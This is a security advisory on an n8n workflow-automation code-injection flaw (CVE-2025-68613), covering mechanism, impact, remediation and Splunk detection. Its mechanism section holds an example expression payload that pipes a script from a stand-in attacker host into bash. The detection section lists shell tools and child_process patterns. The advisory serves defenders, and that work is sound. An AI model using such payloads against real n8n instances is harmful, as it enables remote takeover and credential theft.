CVE-2025-68613: n8n Workflow Automation RCE -- Expression Evaluation Code Injection

Background

n8n is an open-source, self-hostable workflow automation platform — similar in concept to Zapier or Make — that allows users to build automated pipelines connecting hundreds of applications, APIs, and services. n8n workflows can execute JavaScript expressions, run code nodes, and call arbitrary HTTP endpoints, making it a powerful automation engine. It is deployed by developers, data teams, and businesses for application integration, data processing, and process automation.

Like Langflow and other automation/AI platforms, n8n’s power comes from its ability to execute code and call external services — capabilities that become critical vulnerabilities when exposed without authentication. Self-hosted n8n instances are commonly deployed for team use and may be internet-accessible. CISA added CVE-2025-68613 to the KEV catalogue on 2026-03-11. The combination of code execution capability and potential unauthenticated access makes this a high-severity initial access vector.

Technical Mechanism

CVE-2025-68613 is classified as “Improper Control of Dynamically-Managed Code Resources” (CWE-913), manifesting specifically in n8n’s workflow expression evaluation engine.

n8n supports JavaScript expressions within workflow nodes — these expressions are evaluated at runtime to dynamically compute values from workflow data. The expression evaluator interprets user-controlled strings as JavaScript code. If an attacker can submit data that reaches the expression evaluator, and the evaluator does not adequately sandbox or restrict the JavaScript execution environment, the attacker can execute arbitrary JavaScript with access to Node.js built-in modules (such as child_process).

The attack flow is as follows:

1. An attacker identifies an n8n instance accessible without authentication (public webhooks, or an unauthenticated management interface)
2. The attacker crafts a request that delivers malicious content to a workflow endpoint — either triggering a webhook workflow with expression-evaluated inputs, or accessing a misconfigured workflow execution endpoint
3. The malicious content contains a JavaScript expression payload, such as:

   {{ $node["Code"].json["data"] }}
   // or via expression injection:
   {{ require('child_process').execSync('curl attacker.com/shell.sh | bash') }}

4. The n8n expression evaluator executes the payload in the Node.js process context
5. The attacker achieves RCE with the permissions of the n8n Node.js process

The core issue is insufficient sandboxing of the expression evaluation — legitimate expressions need access to workflow data but should not have access to Node.js system modules.

Real-World Exploitation Evidence

CVE-2025-68613 was added to CISA KEV on 2026-03-11. Automation platform vulnerabilities have seen increasing exploitation:

• Credential harvesting — n8n workflows often store API credentials for dozens of integrated services (Slack, GitHub, Salesforce, databases); server compromise via code injection gives direct access to all stored credentials
• Cryptomining — automation servers with always-on connectivity and compute resources are targeted for cryptocurrency mining
• Data exfiltration — n8n workflows may process sensitive business data; server compromise enables exfiltration of workflow data and connected system data
• Lateral movement — n8n has network connectivity to all services it integrates with; a compromised n8n server can reach internal databases, APIs, and services that may not be directly accessible to an external attacker

The pattern mirrors similar exploitation of Langflow (CVE-2026-33017) and Apache Airflow — code execution platforms with automation workflows are systematically targeted for their credential stores and network connectivity.

Impact Assessment

CVE-2025-68613 is exploitable without authentication against internet-accessible n8n instances, which is a common deployment pattern for team-shared automation infrastructure. An attacker gains Node.js process-level code execution, with direct access to all credentials stored in n8n — typically covering a wide range of integrated services including cloud providers, databases, communication platforms, and APIs. The 9.8 CVSS score reflects the unauthenticated, remote, full-impact nature of the vulnerability. The n8n process’s inherent network connectivity to all integrated services means the attacker inherits access to every system that n8n can reach, without needing to exploit those systems individually.

The business impact depends on how extensively n8n is used as an integration hub, but in data-heavy organisations the credentials stored in n8n may represent a near-complete set of service account access across the enterprise. Unlike a compromised workstation or server, a compromised automation platform also provides attackers with the workflow logic itself — knowledge of how data flows between systems, what triggers business processes, and what credentials are used at each step. This operational intelligence compounds the credential theft impact. For organisations using n8n to process sensitive customer data or financial transactions, the combination of code execution, credential access, and network connectivity makes this a critical-severity incident regardless of the platform’s perceived profile.

Affected Versions

Consult the n8n GitHub repository and release notes for specific version information.

Remediation Steps

1. Update n8n to the latest patched version:
   • Via npm: npm update n8n -g
   • Via Docker: pull the latest n8n image and redeploy
2. Enable authentication on all n8n deployments — the N8N_BASIC_AUTH_ACTIVE=true environment variable enables basic authentication
3. Restrict n8n access to internal networks or VPN-only access; do not expose n8n directly to the internet
4. Rotate all credentials stored in n8n:
   • Review Settings > Credentials in the n8n UI and rotate any credentials for connected services
5. Audit n8n workflow execution logs for unexpected expressions or code execution events
6. Review all active workflows for embedded malicious expressions or code nodes added without authorisation
7. Check the n8n host for unexpected processes, cron jobs, or outbound connections
8. Enable n8n’s security audit feature (n8n audit) if available in your version

Detection Guidance

n8n application logs — look for:

• Workflow execution events triggered by unexpected webhook calls from external IP addresses
• JavaScript expression evaluation errors that may indicate injection attempts
• Execution of Code nodes in workflows where none were expected

OS-level indicators on n8n host:

• Child processes spawned by the Node.js n8n process (e.g., sh, bash, curl, wget)
• New files created in the n8n data directory
• Unexpected outbound network connections

SIEM query example (Splunk):

index=application_logs sourcetype=n8n
| search event="workflow_execution_finished" OR event="webhook_received"
| eval suspicious=if(match(workflow_data, "child_process|execSync|spawn|require\("), "YES", "NO")
| where suspicious="YES"
| stats count by src_ip, workflow_id, suspicious

Credential audit:

• Review all credentials stored in n8n immediately after patching
• Check connected services (GitHub, Slack, databases) for unexpected access using n8n credential secrets

Timeline

References

• NVD — CVE-2025-68613
• CISA KEV — CVE-2025-68613
• MITRE CVE — CVE-2025-68613